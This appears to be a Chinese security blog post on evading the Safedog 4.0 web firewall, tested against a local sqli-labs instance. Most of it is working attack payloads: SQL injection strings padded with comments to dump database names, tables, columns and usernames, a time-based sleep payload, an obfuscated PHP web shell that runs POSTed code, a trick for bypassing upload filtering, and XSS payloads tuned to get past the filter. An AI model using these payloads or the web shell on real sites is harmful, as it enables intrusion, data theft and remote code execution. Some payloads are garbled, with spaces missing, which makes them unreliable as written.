干货|SQL,XSS以及文件上传绕过安全狗4.0
SQL注入
0x01 绕过and
经测试 and 后接任意正负数,字符均被拦截
加上/!50001/不拦截
?id=1and/*!500011*/=/*!500011*/# 不拦截if((1=2),1,2) 不拦截and/*%!"/*/1=1-- + 不拦截payload:
http://192.168.200.147/Less-2/?id=1 and /*!500011*/=/*!500011*/ #http://192.168.200.147/Less-2/?id=1 and /*!500011*/=/*!500012*/ #http://192.168.200.147/Less-2/?id=if((1=1),1,2) #http://192.168.200.147/Less-2/?id=1 and/*%!"/*/1=1 -- +0x02 绕过order by
order 不拦截order b 不拦截order by拦截order /*!50001by*/ fuzz50001到99999均被拦截可以知道order 和 by都不拦截,但是在同时出现的时候就会出现拦截,所以我们可以在中间加上一些干扰
可以看到成功绕过
payload:
http://192.168.200.147/Less-2/?id=1/*/"//*/order/*//*/by/*//*/1 --+0x03 绕过union select
union不拦截select不拦截a select不拦截union a 不拦截unionselect拦截union/*%!"/*/selecT/*%!"/*/1,2,3-- + 拦截这里中间加上干扰符还是被拦截了,就是用/!50001/来装饰select
0x04 获取当前数据库和用户
database 不拦截database() 拦截database(/*%!"/*/) 不拦截同理在括号内加上干扰绕过
获取user()同理
payload:
http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,user(/*%!"/*/),3 -- +http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,database(/*%!"/*/),3 -- +0x05 获取数据库中的表
正常语句:
unionselect1,group_concat(table_name),3from information_schema.tables where table_schema=database() -- +我们逐条语句判断发现直到最后输入database()都没被拦截
说明还是拦截了database(),同理加上/%!"// 即可绕过
payload:
http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,group_concat(table_name),3 from information_schema.tables where table_schema=database(/*%!"/*/) --+0x06 获取表中字段名
正常语句:
unionselect1,group_concat(column_name),3from information_schema.columns where table_name='users'-- +这里与获取表一致
payload:
http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,group_concat(column_name),3 from information_schema.columns where table_name = 0x7573657273 --+0x07 获取数据
正常语句:
unionselect group_concat(username),3from users -- +这里也一样
payload:
http://192.168.200.147/Less-2/?id=-1 union/*%!"/*//*!50441selecT*//*%!"/*/1,group_concat(username),3 from users--+0x08 一些另类方法绕过
空白字符:
%09%0A%0B%0C%0D%A0 %20/**/{`<string>`/*comment*/(<sql syntax>)}例如:
id={`foo`/*fuck*/(select+1)}id={`foo`/*fuck*/(select-1)}id={`foo`/*fuck*/(select%2b1)}payload:
id={`foo`/*fuck*/(select+1)}?id=XOR(if(now()=sysdate(),sleep(1*2),0))文件上传绕过-免杀马
0x01 免杀马
防止误判,使用免杀马
<?phpfunction a(){return'assert';}$a = a();$aa = array($_POST['1']);call_user_func_array($a,$a=$aa);?>文件上传绕过
在以前有很多,比如在filename双写三写=,或者在xx.php按回车,但是最新的也不行了
可以看到对每个filename都进行了检测,但是这里我们把第一个的值去掉就可以了
XSS绕过
0x01 音乐,音频等标签
<audiosrc=1onerror=prompt('xss')>0x02 data属性的base64编码
alert('xss')
的base64编码:
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
<objectdata="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>bypass waf payload:
<svgonx=() onload=(confirm)(1)><svgonx=() onload=(alert)(1)><a/href="javascript:alert(1)"><audiosrc/onerror=alert(1)><marqueewidth=1loop=1onfinish=alert(1)>XSS</marquee>推荐阅读
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
点赞 在看 转发
原创投稿作者:11ccaab
未经授权,禁止转载
如需转载
请添加微信X175144340,给您开通白名单